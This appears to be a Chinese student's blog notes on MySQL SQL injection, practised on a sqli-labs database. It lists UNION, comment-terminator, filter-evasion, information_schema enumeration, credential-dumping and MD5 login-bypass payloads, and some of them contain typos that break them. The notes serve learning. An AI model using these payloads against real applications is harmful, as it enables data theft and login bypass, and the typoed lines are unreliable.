接触到sql注入知识,做了一些常识,这里做一个完整的记录。
一,联合查询
联合查询是拼接在原查询语句下,要求结果数量与原结果数量相同。
select * from security.users where id=1 union select 1,2,3;
1,2,3并无特殊含义,换成其他数字或字符串也可以,这里只是站位表示一下。
二,注释语句
sql注入时要注释掉后面的部分才能使整个语句正确运行,这里介绍几种方法。
1,#注释符
select * from security.users where id=1 union select 1,2,database()# limit 0,30;
此时后面的limit 0,30并没有生效。
2,--空格注释符
select * from security.users where id=1 union select 1,2,database() -- ' limit 0,30;
注意在--后面有个空格,否则会报错,不过书写时可能疏忽,因此空格后一般写一个随机字符串。
3, ;/* 注释符
select * from security.users where id=1 union select 1,2,database() ;/* ' limit 0,1;
这个注释一定要注意 /前面有个;否则会报错
三,where条件语句使用
select * from security.users where id=1 && 1=2 union select 1,2,database() -- hack; limit 0,30;
where语句起到过滤作用,筛选出符合结果的查询内容。where后的条件同样符合true和false的运算。
可以利用加上 and 1=2 (或者其他为false的语句)使原条件失效,也可以利用 or 1=1使原条件一定成立。
and和or可以替换成 && 和 ||
当然在查询的id处输入一个不可能存在的值也可以使结果为空,比如前面输入的-1.
四,空格替换
select * from security.users where id=1.union/**/select+1,2,database() limit 0,30;
这里主要是为了绕过对空格的过滤
可以使用/**/代替空格,这个一定可以使用(如果没有被过滤)。+和 . 在某些情况下也可以代替空格,
但我还没有搞清楚。
这里分别用/**/ + . 代替了空格。
五,CHAR函数
select * from security.users where username='Dumb' union select 1,2,char(65)#; limit 0,30;
char()可以将ascii码转换为字符,也是为了绕过过滤。
六,CONCAT函数
select * from security.users where id=1 union select 1,2,concat(char(65),char(66),char(67))# limit 0,30;
这字符拼接函数,可以结合char函数使用
七,SUBSTR函数
select * from security.users where id=1 union select 1,2,substr('abcd',3,2)#; limit 0,30;
这是从字符串提取字符用的
表示从第三位 提取两位
八,IF函数
select * from security.users where id=1 union select 1,2,if(database()='security','true','false') limit 0,30;
mysql中的if函数格式为 if(条件,成立语句,失败语句)
九,获取数据库版本
select * from security.users where id=1 union select 1,1,@@vsersion #; limit 0,30;
使用@@version,可以当做一个常亮来查询使用
十,GROUP_CONCAT函数
select * from security.users where id=1 union select 1,group_concat(username),group_cincat(password) from users #; limit 0,30;
这个函数可以将多条结果合并在一条输出,非常常用
这里就在一个位置显示了所用的username
十一,获取当前数据库名
使用database()函数,可以显示数据库名。
database()的返回值显示在联合查询的第三个位置,也就是前面3的位置。
十二,获取该数据库的所有表名和列名
select * from security.users where id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,30;
使用information_schema_tables表,这是mysql的一个系统表,这里记录了所有表的信息,可以从这里查询到某个数据库的所有表。
table_schema是该表中的一个字段名,记录着每张表属于哪个数据库。
同理获取列名
Select column_name from information_schema.columns where
Table_shcema=database() and table_name=’指定的表名’;
十三,/*! xxx */ 可执行的注释
select * from security.users where id=1 union /*!select*/ 1,2,database();
mysql中的特色,注意有个 ! 。
/*! */ 中的内容会被执行。
十四,十六进制转换
mysql中会自动将16进制转换为字符串,并且自动为字符串加上引号,
使用时注意加上0x开头,表示为16进制数字。
database()的16进制表示 64617461626173652829
注意此时database()函数并未执行,而是当做字符串返回了。
十五,count(*)函数
count(*)函数用来统计查询结果数量
十六,sleep()函数
可以实现一定时间的延迟,用来盲注。
十七,mysql对字符和数字比较的处理
注入时会遇到字符型和数字型,这里有必要了解一下mysql的处理机制。
1,对于字符型向数字的转化匹配,自动截取前面的数字部分,即 ‘1abc’当做 1
2,开头字符型和数字比较时,字符串当做零处理
这里的 and 条件依然生效,证明 ‘abc’=0成立
十八,绕过md5比较的登录
一般站点不会直接保存用户的明文密码,而是将明文密码MD5加密后保存,在登录验证时,也是将输入的密码进行MD5加密,与数据库中保存的MD5值进行比较,如果一直就认证成功。
登录过程类似于:首先将用户提交的密码进行MD5加密,然后将用户名与加密后的密码 放入数据库查询
select username_id from users where username='admin' and password=pass(已经MD5加密) limit 0,1;
这时候存在绕过漏洞:输入 用户名:xxx
密码:123' and 1=2 union select "admin" , "21232f297a57a5a743894a0e4a801fc3" #
md5(admin)="21232f297a57a5a743894a0e4a801fc3"
这组数据可以绕过后续的密码检验。
实验时遇到的一些小问题:
用的是phpmyadmin操作
1,在查询表名时的报错
原因:在phpmyadmin中我是在security数据库中操作的,所以原查询语句默认的是security数据库中的user表
,但是在联合查询的语句中,明确的指定了使用information_schema数据库,所以前面的user表也会被认为是information_schema数据库中的,所以报错。
可以明确指定数据库,将user改为 securuty.user sql中用 . 连接数据库和表名。
2,数据库名格式
这里报错的原因是 数据库名没有加引号 应该写成:table_schema='security'
本人小白学生,如有错误,欢迎评论指出。